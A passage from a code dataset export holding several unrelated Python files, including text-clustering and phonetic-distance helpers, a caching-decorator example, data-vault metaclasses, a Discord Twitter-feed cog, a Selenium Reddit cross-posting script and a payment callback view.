 clustered_tweets = []\n    for i in range(0, num_clusters):\n        ind = ind_clustered_tweets[i]\n        ind_illegal = np.where(ind == -1)[0]  # index of -1\n        # print(ind_illegal)\n        if len(ind_illegal) != 0:\n            ind = np.delete(ind, ind_illegal)\n\n        # print(ind)\n        clustered_tweets.append(' '.join(tweets[ind]))\n    import pickle\n\n    print('聚合在一起的test data 保存在了：./acc_tmp/aggregated_test_tweets_greedy.p文件中')\n    pickle.dump(clustered_tweets, open(\"./acc_tmp/aggregated_test_tweets_greedy.p\", \"wb\"))\n    return (clustered_tweets, [np.where(ind_clustered_tweets == tweets_id)[0][0] for tweets_id in range(0, num_tweets)])\n\n\n# test\n# T=['T1 we are loving each other', 'T2 we are good', 'T3 loving is good', 'T4 go to each other heart', 'T5 nice to meet u', 'T6 you are not good']\n# print(build_clustered_testdata_nearest(T))\n\n\n# 由于上面的聚类方法导致训练集和测试数据大相径庭，因此使用training data，在其中寻找最相似的文本和test data聚合在一起\ndef clustering_texts_using_trainingset(texts, trainingset, cluster_size):\n    vectorizer = cst_vectorizer.StemmedTfidfVectorizer(**param)\n    texts_vec = vectorizer.fit_transform(texts)\n    training_vec = vectorizer.transform(trainingset)\n    from sklearn.metrics.pairwise import pairwise_distances\n    # sim_matrix(i, j) is the distance between the ith array from X and the jth array from Y.\n    # From scikit-learn: [‘cityblock’, ‘cosine’, ‘euclidean’, ‘l1’, ‘l2’, ‘manhattan’]. These metrics support sparse matrix inputs.\n    sim_matrix = 1 - pairwise_distances(texts_vec, training_vec, metric=\"cosine\")  # euclidean as well\n    num_texts = texts_vec.shape[0]\n    cluster_size = cluster_size - 1  #减1是因为最后要把texts中放入，所以其实只需选择cluster_size-1个文本\n    ind_clustered_tweets = np.zeros([num_texts, cluster_size], dtype=int)\n\n    for i in range(0, num_texts):\n        indx = np.argpartition(sim_matrix[i], -cluster_size)[-cluster_size:]\n        ind_clustered_tweets[i] = indx\n\n    trainingset = np.array(trainingset)\n    clustered_texts = []\n    for i in range(0, num_texts):\n        ind = ind_clustered_tweets[i]\n        clustered_texts.append(texts[i] + ' ' + ' '.join(trainingset[ind]))\n\n    import pickle\n\n    print('和training_data聚合在一起的training data保存在了：./acc_tmp/clustering_texts_with_trainingset.p文件中')\n    pickle.dump(clustered_texts, open(\"./acc_tmp/clustering_texts_with_trainingset.p\", \"wb\"))\n    return (clustered_texts,range(num_texts))\n    # Test\n    # T=['T1 we are loving each other', 'T2 we are good', 'T3 loving is good', 'T4 go to each other heart', 'T5 nice to meet u', 'T6 you are not good']\n    # Tr=['Tr1 nice to meet you', 'Tr2 good to see you', 'Tr3 loving is loving each other', 'Tr4 see you']\n    # print(clustering_texts_using_trainingset(T, Tr, 3))\n\n\n","repo_name":"candlewill/texts_sentiment_analysis","sub_path":"km_cluster.py","file_name":"km_cluster.py","file_ext":"py","file_size_in_byte":11892,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"22"}
+{"seq_id":"19302977641","text":"import jellyfish\nimport pronouncing\n\nfrom spellchecker import SpellChecker\n\nspell = SpellChecker()\n\ndef is_candidates_valid(l):\n    return len(spell.unknown(l)) == 0\n\ndef candidates_to_phones(l):\n    assert(is_candidates_valid(l))\n    return ' '.join([pronouncing.phones_for_word(w)[0] for w in l])\n\ndef phonetic_distance(target, cands):\n    \n    t_metaphone = jellyfish.metaphone(target)\n    c_metaphone = ''.join([jellyfish.metaphone(c) for c in cands])\n    \n    t_phone = pronouncing.phones_for_word(target)[0]\n    c_phone = candidates_to_phones(cands)\n    \n    m_dist = jellyfish.levenshtein_distance(t_metaphone, c_metaphone)\n    p_dist = jellyfish.levenshtein_distance(t_phone, c_phone)\n    \n    score = (0.5 * m_dist) + (0.5 * p_dist)\n    return score","repo_name":"nlpforge/phoneticapp","sub_path":"src/dist.py","file_name":"dist.py","file_ext":"py","file_size_in_byte":758,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"3560678085","text":"# -*- coding:utf-8 -*-\n\n# python缓存实例（用于节省内存）\n# CPU从内存中读取数据，频繁读取的数据放入到CPU的缓存中\n# CPU处理数据非常快，内存相对于CPU而言非常慢，因此CPU经常被访问的数据可以放入CPU的缓存中\n\n# 装饰器：本质上也是一个函数，在不改变原来函数功能的基础上，增加额外的功能\n# 比如：王者荣耀的一个英雄，本身拥有三个技能，买个皮肤，增加了一个外观，但是原来三个技能不变。\n\n# 装饰器本案例中使用：\n# 1. 实现缓存 2. 计算函数的运行时间 3. 插入日志 4. 权限的校验\n\nimport time\n\n# 定义一个用于获取func函数运行时间的函数\ndef get_time1(func):\n\n    # 内部定义实现该函数的功能\n    def get_running_time(*args, **kwargs):\n        start = time.time()\n        func(*args, **kwargs)\n        end = time.time()\n        print(end - start)\n\n    return get_running_time\n\n# 定义一个缓存，我们要使用函数要使用参数12和3，如果12和3在缓存之中，则函数直接拿来使用\n# 如果函数不在缓存之中，则从内存中取出12和3，然后放到缓存，以便下次使用，这就是缓存的用途\nrets = {}\ndef outer(f):\n\n    def wrapper(*args, **kwargs):\n        # 从缓存(上面的rets字典）中获取数据，数据存储在键中\n        key = \"%s, %s\" % (args, kwargs)\n        # 如果key有数据返回数据，没有则返回None\n        dict_data = rets.get(key, None)\n        # 判断一下，如果有key，则获取key的值，没有数据则执行原函数，并把返回的结果加入到缓存\n        if dict_data:\n            print(\"缓存中获取的数据\")\n            ret = dict_data\n        else:\n            print(\"缓存中无数据，执行该函数，获取的结果写入缓存\")\n            ret = f(*args, **kwargs)\n            rets[key] = key\n        return ret\n\n    return wrapper\n\n\n# 给函数加入第一个装饰器，增加一个获取该函数运行时间的功能\n@get_time1\n# 给函数加入第二个装饰器，用于写入缓存\n@outer\ndef func_a(a, b):\n    time.sleep(2)\n    ret = a * b * b * b * b * b * b\n    print(ret)\n    return ret\n\nfunc_a(3, 1)\nprint(\"--------------\")\nfunc_a(2, 1)\nprint(\"--------------\")\n\ntime1 = time.time()\nfunc_a(3, 1)\ntime2 = time.time()\nprint(\"第三次调用函数用时：%s\" % (time2 - time1))\n\n\n\n\n\n\n","repo_name":"FelixZFB/TZKT_Study_Note","sub_path":"P05_python_cache_example_缓存案例/python_cache_example.py","file_name":"python_cache_example.py","file_ext":"py","file_size_in_byte":2401,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"30530139263","text":"import inspect\nfrom collections import OrderedDict\n\nfrom pyelt.datalayers.database import *\n# from pyelt.datalayers.dv import Sat, Hub\nfrom pyelt.helpers.global_helper_functions import camelcase_to_underscores\n\n\nclass OrderedTableMetaClass(type):\n    \"\"\"Metaclass voor de tabellen, zoals hubs en sats.\n    Deze Metaclass zorgt ervoor dat de class properties in de class-dict gesorteerd blijven zoals ze in de code staan.\n    Hierdoor kun je volgorde van de velden in de db bepalen.\n    Naast de default __dict__ van de class komt er bij deze implementatie van deze meta class een extra __ordereddict__ property\n\n    gebruik::\n\n        class Sat(DVTable, metaclass=OrderedMembersMetaClass):\n            ...\n        class Adres(Sat):\n            ...\n        for col_name, col in Adres.__ordereddict__.items():\n            ...\n\n    Hiernaast heeft de metaclass de volgende meta-velden:\n\n    * __dbname__: dit wordt geinitieerd met de naam van de tabel zoals die in de database zal verschijnen.\n                Let wel: sats binnen een entity krijgen de naam van de entity zie hiervoor HubEntityMetaClass\n    * __dbschema__: hierin de naam van het het database schema\n    * __cols__: list van Columns. De columns worden bij nieuwe class aanroep vooraf geinitieerd met veldnamen. Dat zijn de namen van de properties\n    \"\"\"\n\n    @classmethod\n    def __prepare__(mcs, name, bases):\n        return OrderedDict()\n\n    def __new__(mcs, name, bases, classdict):\n        # we maken een nieuwe lege class-type aan. Deze is nodig voor de volledige mro.\n        # (de parameter bases geef namelijk alleen de rechtstreekse bases van een class\n        new_dummy_dvtable_cls = type.__new__(mcs, name, bases, {})\n\n        # loop reversed door alle bases en breidt telkens dict uit met die van de bases, beginnend met de meest diepe base in hierarchie\n        dict = OrderedDict()\n        for base in reversed(new_dummy_dvtable_cls.__mro__):\n            if '__ordereddict__' in base.__dict__:\n                dict.update(base.__ordereddict__)\n        dict.update(classdict)\n\n        # nu we de dict hebben gaan we eigenlijke type aanmaken\n        new_dvtable_cls = type.__new__(mcs, name, bases, dict)\n        new_dvtable_cls.__ordereddict__ = dict\n        new_dvtable_cls.__dbname__ = camelcase_to_underscores(name) #wordt bij sats later weer overschreven in EntityMetaclass\n        if getattr(new_dvtable_cls, \"cls_create_dbname\", None):\n            new_dvtable_cls.__dbname__ = new_dvtable_cls.cls_create_dbname()\n        new_dvtable_cls.__cols__ = []\n        # door alle kolommen loopen en hier een kopie van maken en die toevoegen aan de class.\n        for prop_name, prop in new_dvtable_cls.__ordereddict__.items():\n            if prop_name == 'aanvragend_specialisme':\n                debug = True\n            if isinstance(prop, Columns.RefColumn):\n                new_col = Columns.RefColumn( prop.valueset_name, prop_name)\n                new_col.type = 'text'\n                new_col.table = new_dvtable_cls\n                new_dvtable_cls.__cols__.append(new_col)\n                setattr(new_dvtable_cls, prop_name, new_col)\n            elif isinstance(prop, Column):\n                new_col = Column(prop_name, type=prop.type, tbl=new_dvtable_cls)\n                new_col.is_key = prop.is_key\n                new_col.nullable = prop.nullable\n                new_col.is_indexed = prop.is_indexed\n                new_col.is_unique = prop.is_unique\n                new_col.default_value = prop.default_value\n                new_dvtable_cls.__cols__.append(new_col)\n                setattr(prop, 'name', prop_name)\n                setattr(prop, 'table', new_dvtable_cls)\n                setattr(new_dvtable_cls, prop_name, prop)\n                setattr(new_dvtable_cls, prop_name, new_col)\n            elif isinstance(prop, FkReference):\n                if prop_name.lower() == prop.ref_table.__name__.lower():\n                    fk = 'fk_' + prop.ref_table.__dbname__\n                elif prop_name.lower() + '_hub' == prop.ref_table.__dbname__:\n                    fk = 'fk_' + prop.ref_table.__dbname__\n                elif prop.fk:\n                    fk = prop.fk\n                else:\n                    fk = 'fk_' + prop_name.lower() + '_' + prop.ref_table.__dbname__\n                prop.set_fk_name(fk)\n                new_col = Column(fk, type='int', tbl=new_dvtable_cls)\n                new_dvtable_cls.__cols__.append(new_col)\n                setattr(new_dvtable_cls, fk, new_col)\n        new_dvtable_cls.__ordereddict__ = dict\n        return new_dvtable_cls\n\nclass HubEntityMetaClass(type):\n    \"\"\"Metaclass voor Hubentity. Deze metaclass zorgt ervoor dat er tenminste een Hub is en dat dbnames van de sats alvast worden gezet\"\"\"\n    def __new__(mcs, name, bases, classdict):\n        new_hub_entity_cls = type.__new__(mcs, name, bases, classdict)\n        # als HubEntity rechtstreeks in de bases staat dan krijgt de entity een hub\n        add_hub_to_cls = False\n        for base in bases:\n            if 'HubEntity' in str(base):\n                add_hub_to_cls = True\n        if add_hub_to_cls:\n            from pyelt.datalayers.dv import Hub\n            hub_cls = type('Hub', (Hub,), {})\n            if not new_hub_entity_cls.__dbname__:\n                hub_cls.__dbname__ = camelcase_to_underscores(name) + '_hub'\n            else:\n                hub_cls.__dbname__ = new_hub_entity_cls.__dbname__ + '_hub'\n            hub_cls.__dbschema__ = new_hub_entity_cls.__dbschema__\n            hub_cls.name = hub_cls.__dbname__\n            new_hub_entity_cls.Hub = hub_cls\n            setattr(new_hub_entity_cls, '__subtype__', '')\n            # new_hub_entity_cls.__subtype__ = ''\n        else:\n            subcls_type =  new_hub_entity_cls.__name__.lower().replace('entity', '').replace('hub', '')\n            setattr(new_hub_entity_cls, '__subtype__', subcls_type)\n            # new_hub_entity_cls.Hub.__subtype__ = subcls_type\n\n        # zoeken naar de entity in de mro met de rechtstreekse overerving van de HubEntity\n        entity_with_hub = None\n        for base in new_hub_entity_cls.__mro__:\n            if 'HubEntity' in str(base.__bases__):\n                entity_with_hub = base\n\n        # satnames zetten\n        new_hub_entity_cls.__sats__ = OrderedDict()\n        from pyelt.datalayers.dv import Sat\n        for key, sat_cls in new_hub_entity_cls.__dict__.items():\n            if inspect.isclass(sat_cls) and Sat in sat_cls.__mro__ :\n                sat_cls.__dbschema__ = entity_with_hub.__dbschema__\n                sat_name = camelcase_to_underscores(key).replace('_sat', '').replace('sat', '')\n                sat_cls.__dbname__ = camelcase_to_underscores(entity_with_hub.__name__) + '_sat_' + sat_name\n                sat_cls.__dbname__ = sat_cls.__dbname__.replace('_default', '')\n                sat_cls.name = sat_cls.__dbname__\n                ref_hub = FkReference(new_hub_entity_cls.Hub, new_hub_entity_cls.Hub._id)\n                setattr(sat_cls, 'hub', ref_hub)\n                sat_cls.__ordereddict__['hub'] = ref_hub\n\n        # sat collectie maken\n        new_hub_entity_cls.__sats__ = OrderedDict()\n        for base in reversed(new_hub_entity_cls.__mro__):\n            for key, sat_cls in base.__dict__.items():\n                if inspect.isclass(sat_cls) and Sat in sat_cls.__mro__:\n                    new_hub_entity_cls.__sats__[sat_cls.name] = sat_cls\n        return new_hub_entity_cls\n\nclass LinkEntityMetaClass(type):\n    def __new__(mcs, name, bases, classdict):\n        new_link_entity_cls = type.__new__(mcs, name, bases, classdict)\n        link_cls = new_link_entity_cls.Link\n        link_cls.__dbname__ = camelcase_to_underscores(name).replace('_link', '').replace('_entity', '') + '_link'\n        if '__dbschema__' in classdict:\n            link_cls.__dbschema__ = classdict['__dbschema__']\n\n        # zoeken naar de entity in de mro met de rechtstreekse overerving van de LinkEntity\n        entity_with_link = None\n        for base in new_link_entity_cls.__mro__:\n            if 'LinkEntity' in str(base.__bases__):\n                entity_with_link = base\n        #schema zetten op link class\n        if entity_with_link:\n            link_cls.__dbschema__ = entity_with_link.__dbschema__\n\n\n\n        # link class in link_refs zetten\n        from pyelt.datalayers.dv import LinkReference\n        for key, link_ref in link_cls.__dict__.items():\n            if type(link_ref) is LinkReference:\n                link_ref.link = link_cls\n\n        # satnames zetten\n        new_link_entity_cls.__sats__ = OrderedDict()\n        from pyelt.datalayers.dv import Sat\n        for key, sat_cls in new_link_entity_cls.__dict__.items():\n            if inspect.isclass(sat_cls) and Sat in sat_cls.__mro__:\n                sat_cls.__dbschema__ = entity_with_link.__dbschema__\n                sat_name = camelcase_to_underscores(key).replace('_sat', '').replace('sat', '')\n                sat_cls.__dbname__ = camelcase_to_underscores(entity_with_link.__name__) + '_sat_' + sat_name\n                sat_cls.__dbname__ = sat_cls.__dbname__.replace('_default', '')\n                sat_cls.name = sat_cls.__dbname__\n\n        # sat collectie maken\n        new_link_entity_cls.__sats__ = OrderedDict()\n        for base in reversed(new_link_entity_cls.__mro__):\n            for key, sat_cls in base.__dict__.items():\n                if inspect.isclass(sat_cls) and Sat in sat_cls.__mro__:\n                    new_link_entity_cls.__sats__[sat_cls.name] = sat_cls\n        return new_link_entity_cls\n#############################\n\n\n","repo_name":"NLHEALTHCARE/PYELT","sub_path":"pyelt/datalayers/dv_metaclasses.py","file_name":"dv_metaclasses.py","file_ext":"py","file_size_in_byte":9549,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"22"}
+{"seq_id":"46739406679","text":"class CourseScheduleII_210(object):\n    def findOrder(self, numCourses, prerequisites):\n        \"\"\"\n        :type numCourses: int\n        :type prerequisites: List[List[int]]\n        :rtype: List[int]\n        \"\"\"\n        def dfs(course):\n            if visited[course] == 0:\n                visited[course] = 1\n                onstack[course] = 1\n                if course in neigh:\n                    for j in neigh[course]:\n                        if not dfs(j):\n                            return False\n                topo.append(course)\n                onstack[course] = 0\n            elif onstack[course] == 1:\n                return False\n            return True\n\n        if len(prerequisites) == 0:\n            return [i for i in range(numCourses)]\n        neigh = {}\n        for i, j in prerequisites:\n            if j not in neigh:\n                neigh[j] = set()\n            neigh[j].add(i)\n        visited, onstack = [0] * numCourses, [0] * numCourses\n        topo = []\n        for i in range(numCourses):\n            if not dfs(i):\n                return []\n        return topo[::-1]\n","repo_name":"Reidddddd/leetcode","sub_path":"src/leetcode/python/CourseScheduleII_210.py","file_name":"CourseScheduleII_210.py","file_ext":"py","file_size_in_byte":1099,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"4709622900","text":"\nimport discord\nfrom discord.ext import commands\n\nimport json\nimport tweepy\n\nimport credentials\nfrom modules import utilities\nfrom utilities import checks\nimport clients\n\ndef setup(bot):\n\tbot.add_cog(Twitter(bot))\n\nclass TwitterStreamListener(tweepy.StreamListener):\n\t\n\tdef __init__(self, bot):\n\t\tsuper().__init__()\n\t\tself.bot = bot\n\t\tself.stream = tweepy.Stream(auth = clients.twitter_api.auth, listener = self)\n\t\tself.feeds = {}\n\t\n\tdef __del__(self):\n\t\tself.stream.disconnect()\n\t\n\tdef start_feeds(self, feeds):\n\t\tself.feeds = feeds\n\t\tself.stream.filter(follow = set([id for feeds in self.feeds.values() for id in feeds]), **{\"async\" : \"True\"})\n\t\n\tdef add_feed(self, channel, handle):\n\t\tself.feeds[channel.id] = self.feeds.get(channel.id, []) + [clients.twitter_api.get_user(handle).id_str]\n\t\tself.stream.disconnect()\n\t\tself.stream.filter(follow = set([id for feeds in self.feeds.values() for id in feeds]), **{\"async\" : \"True\"})\n\t\n\tdef remove_feed(self, channel, handle):\n\t\tself.feeds[channel.id].remove(clients.twitter_api.get_user(handle).id_str)\n\t\tself.stream.disconnect()\n\t\tself.stream.filter(follow = set([id for feeds in self.feeds.values() for id in feeds]), **{\"async\" : \"True\"})\n\t\n\tdef on_status(self, status):\n\t\t# print(status.text)\n\t\tif status.user.id_str in set([id for feeds in self.feeds.values() for id in feeds]):\n\t\t\tfor channel_id, channel_feeds in self.feeds.items():\n\t\t\t\tif status.user.id_str in channel_feeds:\n\t\t\t\t\tembed = discord.Embed(title = '@' + status.user.screen_name, url = \"https://twitter.com/{}/status/{}\".format(status.user.screen_name, status.id), description = status.text, timestamp = status.created_at, color = 0x00ACED)\n\t\t\t\t\tembed.set_footer(text = status.user.name, icon_url = status.user.profile_image_url)\n\t\t\t\t\tchannel = self.bot.get_channel(channel_id)\n\t\t\t\t\tif channel:\n\t\t\t\t\t\tself.bot.loop.create_task(self.bot.send_message(channel, embed = embed))\n\t\n\tdef on_error(self, status_code):\n\t\tprint(\"Twitter Error: {}\".format(status_code))\n\t\treturn False\n\nclass Twitter:\n\t\n\tdef __init__(self, bot):\n\t\tself.bot = bot\n\t\tself.stream_listener = TwitterStreamListener(bot)\n\t\tutilities.create_file(\"twitter_feeds\", content = {\"channels\" : {}})\n\t\twith open(\"data/twitter_feeds.json\", 'r') as feeds_file:\n\t\t\tself.feeds_info = json.load(feeds_file)\n\t\tself.task = self.bot.loop.create_task(self.start_twitter_feeds())\n\t\n\tdef __del__(self):\n\t\tself.stream_listener.stream.disconnect()\n\t\tself.task.cancel()\n\t\n\t@commands.group(invoke_without_command = True)\n\t@checks.is_server_owner()\n\tasync def twitter(self):\n\t\t'''Twitter'''\n\t\tpass\n\t\n\t@twitter.command(name = \"status\", pass_context = True)\n\t@checks.not_forbidden()\n\tasync def twitter_status(self, ctx, handle : str):\n\t\t'''Get twitter status'''\n\t\ttweet = clients.twitter_api.user_timeline(handle, count = 1)[0]\n\t\tembed = discord.Embed(title = '@' + tweet.user.screen_name, url = \"https://twitter.com/{}/status/{}\".format(tweet.user.screen_name, tweet.id), description = tweet.text, timestamp = tweet.created_at, color = 0x00ACED)\n\t\tavatar = ctx.message.author.default_avatar_url if not ctx.message.author.avatar else ctx.message.author.avatar_url\n\t\tembed.set_author(name = ctx.message.author.display_name, icon_url = avatar)\n\t\tembed.set_footer(text = tweet.user.name, icon_url = tweet.user.profile_image_url)\n\t\tawait self.bot.say(embed = embed)\n\t\n\t@twitter.command(name = \"add\", aliases = [\"addhandle\", \"handleadd\"], pass_context = True)\n\t@checks.is_server_owner()\n\tasync def twitter_add(self, ctx, handle : str):\n\t\t'''Add a handle to a channel'''\n\t\tif handle in self.feeds_info[\"channels\"].get(ctx.message.channel.id, {}).get(\"handles\", []):\n\t\t\tawait self.bot.embed_reply(\":no_entry: This channel is already following that handle\")\n\t\t\treturn\n\t\ttry:\n\t\t\tself.stream_listener.add_feed(ctx.message.channel, handle)\n\t\texcept tweepy.error.TweepError as e:\n\t\t\tawait self.bot.embed_reply(\":no_entry: Error: {}\".format(e))\n\t\t\treturn\n\t\tif ctx.message.channel.id in self.feeds_info[\"channels\"]:\n\t\t\tself.feeds_info[\"channels\"][ctx.message.channel.id][\"handles\"].append(handle)\n\t\telse:\n\t\t\tself.feeds_info[\"channels\"][ctx.message.channel.id] = {\"name\" : ctx.message.channel.name, \"handles\" : [handle]}\n\t\twith open(\"data/twitter_feeds.json\", 'w') as feeds_file:\n\t\t\tjson.dump(self.feeds_info, feeds_file, indent = 4)\n\t\tawait self.bot.embed_reply(\"The handle, `{}`, has been added to this channel\".format(handle))\n\t\n\t@twitter.command(name = \"remove\", aliases = [\"delete\", \"removehandle\", \"handleremove\", \"deletehandle\", \"handledelete\"], pass_context = True)\n\t@checks.is_server_owner()\n\tasync def twitter_remove(self, ctx, handle : str):\n\t\t'''Remove a handle from a channel'''\n\t\ttry:\n\t\t\tself.feeds_info[\"channels\"].get(ctx.message.channel.id, {}).get(\"handles\", []).remove(handle)\n\t\texcept ValueError:\n\t\t\tawait self.bot.embed_reply(\":no_entry: This channel isn't following that handle\")\n\t\telse:\n\t\t\twith open(\"data/twitter_feeds.json\", 'w') as feeds_file:\n\t\t\t\tjson.dump(self.feeds_info, feeds_file, indent = 4)\n\t\t\tself.stream_listener.remove_feed(ctx.message.channel, handle)\n\t\t\tawait self.bot.embed_reply(\"The handle, `{}`, has been removed from this channel.\".format(handle))\n\n\t@twitter.command(aliases = [\"handle\", \"feeds\", \"feed\"], pass_context = True)\n\t@checks.not_forbidden()\n\tasync def handles(self, ctx):\n\t\t'''Show handles being followed in this channel'''\n\t\tawait self.bot.embed_reply('\\n'.join(self.feeds_info[\"channels\"].get(ctx.message.channel.id, {}).get(\"handles\", [])))\n\t\n\tasync def start_twitter_feeds(self):\n\t\tawait self.bot.wait_until_ready()\n\t\tfeeds = {}\n\t\tfor channel_id, channel_info in self.feeds_info[\"channels\"].items():\n\t\t\tfor handle in channel_info[\"handles\"]:\n\t\t\t\tfeeds[channel_id] = feeds.get(channel_id, []) + [clients.twitter_api.get_user(handle).id_str]\n\t\tself.stream_listener.start_feeds(feeds)\n\n","repo_name":"gitter-badger/Harmonbot","sub_path":"Discord/cogs/twitter.py","file_name":"twitter.py","file_ext":"py","file_size_in_byte":5784,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"22"}
+{"seq_id":"13286671585","text":"import argparse\nimport csv\nimport logging\nfrom operator import truediv\nimport os\nimport platform\nimport random\nimport re\nimport subprocess\nimport sys\nfrom turtle import title\nfrom selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.chrome.options import Options\nimport time\nfrom selenium.webdriver.common.action_chains import ActionChains\nimport pyperclip as pc\nfrom selenium.webdriver.common.keys import Keys\n\n#\n# parse arguments of the main program\n#\ntry:\n    my_parser = argparse.ArgumentParser()\n    my_parser.add_argument('-u', '--username', required=True, help='the Reddit user name')\n    my_parser.add_argument('-p', '--password', required=True, help='the Reddit password')\n    my_parser.add_argument('-t', '--titlefile', default='redditmessagetitle.txt', help='the file containing title for Reddit group posting')\n    my_parser.add_argument('-m', '--messagefile', default='redditmessage.txt', help='the file containing message for Reddit group posting')\n    my_parser.add_argument('-g', '--groupsfile', default='redditgroups.txt', help='the file having URLs of Reddit groups')\n    my_parser.add_argument('-d', '--chromedriver', default='chromedriver', help='the full path for chromedriver including directory')\n   \n    args = my_parser.parse_args()\n    \n    #\n    # get current directory per OS\n    #\n    OSname=platform.system()\n    if OSname==\"Darwin\" or OSname==\"Linux\": # MacOS/Unix\n        pwd=subprocess.getoutput('pwd')\n        delim='/'\n        extension=''\n    elif OSname==\"Windows\":\n        pwd=subprocess.getoutput('cd') \n        delim='\\\\'\n        extension='.exe'\n\n    if os.path.exists(args.titlefile) == False: \n        print ('Titlefile does not exist')\n        sys.exit(1)\n    else:\n        file_title=args.titlefile\n\n    if os.path.exists(args.messagefile) == False: \n        print ('Messagefile does not exist')\n        sys.exit(1)\n    else:\n        file_msg=args.messagefile\n\n    if os.path.exists(args.groupsfile) == False: \n        print ('Groupsfile does not exist')\n        sys.exit(1)\n    else:\n        file_groups=args.groupsfile\n\n    #if os.path.exists(args.imagefile) == False: \n    #    print ('Imagefile does not exist')\n    #    sys.exit(1)\n    #else:\n    #    file_image = pwd + delim + args.imagefile\n\n    #\n    # construct the full path to chromedriver\n    #\n    file_chromedriver = pwd + delim + args.chromedriver + extension\n    if os.path.exists(file_chromedriver) == False: \n        print ('Chromedriver does not exist')\n        sys.exit(1)\n\nexcept:\n    print('Error in argument parsing')\n    sys.exit(1)\n\nprint('Message file is ' + file_msg)\nprint('Title file is ' + file_title)\nprint('Groups file is ' + file_groups)\nprint('Chromedriver file is ' + file_chromedriver)\n\n#\n# read the title into a variable \n#\nwith open(file_title, 'r') as file:\n   title = file.read()\nprint(title)\n\n#\n# read the message into a variable \n#\nwith open(file_msg, 'r') as file:\n   message = file.read()\nprint(message)\n\n#\n# read the groups and no of tabkeys to be pressed to reach Post field into arrays \n#\ngroups = []\n#tabkeys = []\ntry:\n    file = open(file_groups, 'r')\n    csv_reader = csv.reader(file)\n    for row in csv_reader:\n        print('Now reading in group: ' + str(row))\n        if (re.search(\"^#\", row[0]) == None) and (len(row) > 0) :\n            print('It is uncommented and is non empty')\n            groups.append(row[0])\n            # typecast into integer\n            #tabkeys.append(int(row[1]))\n\n    #print(len(groups), len(tabkeys))\n\nexcept:\n    print(\"The Reddit groups csv file input is invalid\")\n    file.close()\n    exit(1)\n\n##### Handling of Allow Pop Up In Reddit\noption = Options()\noption.add_argument(\"--disable-infobars\")\noption.add_argument(\"start-maximized\")\noption.add_argument(\"--disable-extensions\")\n\n# Pass the argument 1 to allow and 2 to block\noption.add_experimental_option(\"prefs\", { \n    \"profile.default_content_setting_values.notifications\": 2 \n})\n\ndriver = webdriver.Chrome(chrome_options=option, executable_path=file_chromedriver)\ndriver.maximize_window()\n\n###Login To The Account\ndef login(id,password):\n\n    driver.get(\"https://www.Reddit.com/login\")\n\n    actions= ActionChains(driver) ##Action Chains\n\n    actions.send_keys(Keys.TAB * 4)  ## Reach login box\n    actions.send_keys(id)\n    #actions.perform() \n\n    actions.send_keys(Keys.TAB)  ## reach password box\n    actions.send_keys(password)\n    #actions.perform() \n\n    actions.send_keys(Keys.TAB * 2)  ## reach login button\n    actions.send_keys(Keys.ENTER) ##Press ENTER\n    actions.perform() \n\n#### Post Content On Reddit\ndef post_content_group(groupurl, tagline, post):\n    \n    try:\n        driver.get(groupurl)\n        time.sleep(10) ## Wait for it to load\n        \n        #actions= ActionChains(driver) ##Action Chains\n        #\n        # reach the post box\n        #\n        box = driver.find_element(by=By.XPATH, value=\"//input[@placeholder='Create Post']\")\n        box.click()\n        #actions.send_keys(Keys.TAB * nof_tabkeys)  ##Press TAB\n        #actions.send_keys(Keys.ENTER) ##Press ENTER\n        #actions.perform() \n        time.sleep(2)\n\n        #\n        # reach the Title box\n        #\n        box = driver.find_element(by=By.XPATH, value=\"//textarea[@placeholder='Title']\")\n        box.click()\n        #actions.send_keys(Keys.TAB * 8)  ##Press TAB\n        box.send_keys(tagline) ##Press ENTER\n        #actions.perform() \n        time.sleep(2)\n        #\n        # reach the message box\n        #\n        box = driver.find_element(by=By.XPATH, value=\"//div[@role='textbox']\")\n        box.click()\n        #actions.send_keys(Keys.TAB)  ##Press TAB\n        #box.send_keys(Keys.CONTROL, 'v')  #Paste using Ctrl+V\n        box.send_keys(post) ##Press ENTER\n        #actions.perform() \n        time.sleep(2)\n        \n        #\n        # reach the post box\n        #\n        box = driver.find_element(by=By.XPATH, value=\"//button[@role='button'][contains(text(), 'Post')]\")\n        box.click()\n\n        #time.sleep(5)\n\n        return True\n\n    except:\n        logging.exception ('Could not post message for ' + groupurl)\n        return False\n#\n# main program\n#\nlogin(args.username,args.password) \ntime.sleep(5)\t\n\n# copy message to clipboard\n#pc.copy(message)\n\nfor i in range(len(groups)):\n    print(groups[i])\n    #print(tabkeys[i])\n    post_content_group(groups[i], title, message)\n    input('Please verify the posting is proper and press enter')\n    time.sleep(5)\n\ndriver.close()","repo_name":"gvermag22/python-automation-scripts","sub_path":"redditpost.py","file_name":"redditpost.py","file_ext":"py","file_size_in_byte":6632,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"70974912696","text":"from django.views.decorators.csrf import csrf_exempt\nfrom django.http import HttpResponse\nfrom payments.models.aamar_pay_data import aamar_pay_data\nfrom payments.views.amar_pay.product_purchased import product_purchased\nfrom django.shortcuts import HttpResponseRedirect\nfrom django.urls import reverse\n\n\n@csrf_exempt\ndef success(request):\n    \n    if request.method=='POST' or request.method=='post':\n        payment_data=request.POST\n        email = payment_data['cus_email']\n        txnid= payment_data['mer_txnid']\n        pg_txnid = payment_data['pg_txnid']\n        total_amount=payment_data['amount_original']\n        print(\"amount_original-------------\", total_amount)\n\n        convert_data = payment_data.dict()\n        saved_data = aamar_pay_data.objects.create(email=email, datas=convert_data)\n\n\n        return HttpResponseRedirect(reverse('product_purchased', kwargs={'val_id':pg_txnid, 'tran_id':txnid, 'total_amount':total_amount,},))\n        \n    else:\n        return HttpResponse(\"Not 